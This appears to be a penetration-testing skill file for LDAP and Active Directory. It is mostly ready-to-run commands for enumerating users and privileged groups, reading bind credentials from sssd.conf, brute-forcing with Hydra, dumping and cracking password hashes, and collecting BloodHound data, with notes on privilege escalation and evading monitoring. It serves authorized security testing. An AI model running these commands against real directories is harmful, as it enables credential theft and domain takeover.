LDAP Pentesting Skill
A comprehensive guide for testing LDAP and Active Directory services for security vulnerabilities.
Quick Start
# Basic enumeration (anonymous)
nmap -p 389,636 --script ldap-search -Pn <IP>
# Check anonymous access
ldapsearch -H ldap://<IP> -x -s base -b "" "(objectClass=*)" "*" +
# With credentials
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' -b "DC=<domain>,DC=<tld>"
LDAP Basics
Default Ports:
- 389/tcp - LDAP (unencrypted)
- 636/tcp - LDAPS (SSL/TLS)
- 3268/tcp - Global Catalog (AD)
- 3269/tcp - Global Catalog SSL (AD)
Directory Structure:
Root (dc=local)
├── Organization (dc=moneycorp,dc=local)
│ ├── Organizational Units (ou=it, ou=marketing)
│ └── Objects (cn=user, cn=computer)
Step 1: Initial Reconnaissance
Banner Grabbing
nmap -n -sV --script "ldap* and not brute" <IP>
Check Service Availability
# Test LDAP ports
nc -zv <IP> 389 636 3268 3269
# Get naming context (domain name)
ldapsearch -H ldap://<IP> -x -s base namingcontexts
Anonymous Access Testing
# Try anonymous bind
ldapsearch -H ldap://<IP> -x -s base -b "" "(objectClass=*)" "*" +
# Try with arbitrary SNI (bypass TLS check)
ldapsearch -H ldaps://<IP>:636/ -x -s base -b "" "(objectClass=*)" "*" +
# Using NetExec for null bind
netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
Step 2: Enumeration with Credentials
Basic User/Group/Computer Enumeration
# Extract users
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Users,DC=<domain>,DC=<tld>" "(objectClass=person)" sAMAccountName userPrincipalName
# Extract computers
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Computers,DC=<domain>,DC=<tld>" "(objectClass=computer)" name
# Extract groups
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "DC=<domain>,DC=<tld>" "(objectClass=group)" cn member
Extract Privileged Groups
# Domain Admins
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Domain Admins,CN=Users,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
# Enterprise Admins
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Enterprise Admins,CN=Users,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
# Administrators (Builtin)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Administrators,CN=Builtin,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
# Remote Desktop Users
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Remote Desktop Users,CN=Builtin,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
Full Domain Dump
# Dump everything from domain
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "DC=<domain>,DC=<tld>" "(objectClass=*)" "*"
# Look for password hashes
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "DC=<domain>,DC=<tld>" "(objectClass=*)" "*" | grep -i -A2 -B2 "userpas"
Step 3: Advanced Enumeration Tools
windapsearch
# Get computers
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --computers
# Get groups
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --groups
# Get users
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --users
# Get Domain Admins
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --da
# Get Privileged Users
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --privileged-users
ldapdomaindump
# Full domain dump with credentials
ldapdomaindump <IP> -u '<domain>\\<username>' -p '<password>' \
--authtype SIMPLE --no-json --no-grep -o /path/to/output
# With relay IP (for Kerberos)
ldapdomaindump <IP> -r <relay_ip> -u '<domain>\\<username>' -p '<password>'
NetExec (CME successor)
# BloodHound data collection
netexec ldap <IP> -u <user> -p <password> --bloodhound -c All \
-d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
# Anonymous enumeration
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract specific attributes
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
Step 4: Client-Side Artifacts (Linux)
When you have access to a Linux host integrated with LDAP/AD:
# Check for LDAP configuration files
ls -l /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null
# Extract sensitive configuration
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
# View SSSD configuration
sed -n '1,120p' /etc/sssd/sssd.conf 2>/dev/null
# Test LDAP connection with found credentials
ldapsearch -x -H ldap://<target> -D "<bind-dn>" -w '<password>' -b "<base-dn>"
What to look for:
- World-readable
sssd.conf/nslcd.conf - Cleartext bind credentials (
ldap_default_authtok) - Directory-backed SSH or sudo integrations
Step 5: Password Attacks
Brute Force with Hydra
# LDAP brute force
hydra -l <username> -P <password_list> <IP> ldap2 -V -f
# With domain
hydra -L <user_list> -P <password_list> <IP> ldap -l <domain>\\
Password Hash Extraction
# From LDAP database files (if accessible)
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
# Feed to John the Ripper
john --format=SSHA <hash_file>
Step 6: Graphical Tools
Apache Directory Studio
- Download: https://directory.apache.org/studio/download/download-linux.html
- Use for visual LDAP browsing and modification
jxplorer
- Download: http://www.jxplorer.org/downloads/users.html
- Default install:
/opt/jxplorer
Godap
- Interactive TUI for LDAP/AD
- Supports: simple binds, pass-the-hash, pass-the-ticket, pass-the-cert
- Features: search/create/change/delete objects, group management, password changes, DACL editing
- GitHub: https://github.com/Macmod/godap
Ldapx
- LDAP proxy for traffic inspection/transformation
- Can bypass identity protection & monitoring tools
- GitHub: https://github.com/Macmod/ldapx
Common Attack Vectors
1. Anonymous Information Disclosure
- Enumerate users, groups, computers without credentials
- Extract password policy information
- Map domain structure for targeted attacks
2. Credential Harvesting
- Sniff cleartext credentials (LDAP without SSL)
- MITM attacks with certificate downgrade
- Extract bind credentials from client configs
3. Privilege Escalation
- Modify
sshPublicKeyattribute for SSH access - Add users to privileged groups
- Change password attributes
4. Password Spraying
- Use enumerated usernames with common passwords
- Target accounts with specific attributes (pwdLastSet patterns)
Python LDAP Enumeration
import ldap3
# Connect without credentials (anonymous)
server = ldap3.Server('<IP>', get_info=ldap3.ALL, port=636, use_ssl=True)
connection = ldap3.Connection(server)
connection.bind()
# Get server info
print(server.info)
# Search all objects
connection.search(
search_base='DC=DOMAIN,DC=DOMAIN',
search_filter='(&(objectClass=*))',
search_scope='SUBTREE',
attributes='*'
)
# Print entries
for entry in connection.entries:
print(entry)
# With credentials
connection = ldap3.Connection(
server,
'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
'PASSWORD',
auto_bind=True
)
pbis-open Commands
If pbis is installed (/opt/pbis):
# Read keytab
./klist -k /etc/krb5.keytab
# Get domain info
./get-status
./lsa get-status
# Enumerate users/groups
./enum-users
./enum-groups
./enum-objects
# Get group membership
./list-groups-for-user <username>
./enum-members --by-name "domain admins"
# Search with adtool
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username>
Kerberos Authentication
# Authenticate via Kerberos instead of NTLM
ldapsearch -x -H ldap://<IP> -Y GSSAPI -b "DC=<domain>,DC=<tld>"
Configuration Files to Check
containers.ldifldap.cfg,ldap.conf,ldap.xmlslapd.confmsadClassesAttrs.ldif(Microsoft AD)nsslapd.sas_at.conf,nsslapd.sas_oc.conf(Netscape)slapd.sas_at.conf,slapd.sas_oc.conf(OpenLDAP)
Quick Reference
| Task | Command |
|---|---|
| Banner grab | nmap -p 389 --script ldap-search -Pn <IP> |
| Anonymous test | ldapsearch -H ldap://<IP> -x |
| Get naming context | ldapsearch -H ldap://<IP> -x -s base namingcontexts |
| Dump domain | ldapsearch -x -H ldap://<IP> -D '<user>' -w '<pass>' -b "DC=<domain>,DC=<tld>" |
| Extract users | ldapsearch ... -b "CN=Users,DC=<domain>,DC=<tld>" |
| Extract computers | ldapsearch ... -b "CN=Computers,DC=<domain>,DC=<tld>" |
| Brute force | hydra -l <user> -P <list> <IP> ldap2 -V -f |
| BloodHound | nxc ldap <IP> -u <user> -p <pass> --bloodhound -c All -d <DOMAIN> |
Safety Notes
- Always have proper authorization before testing
- Anonymous enumeration may be logged and trigger alerts
- Brute force attacks can lock accounts
- Modifying LDAP attributes can break services
- Document all findings for remediation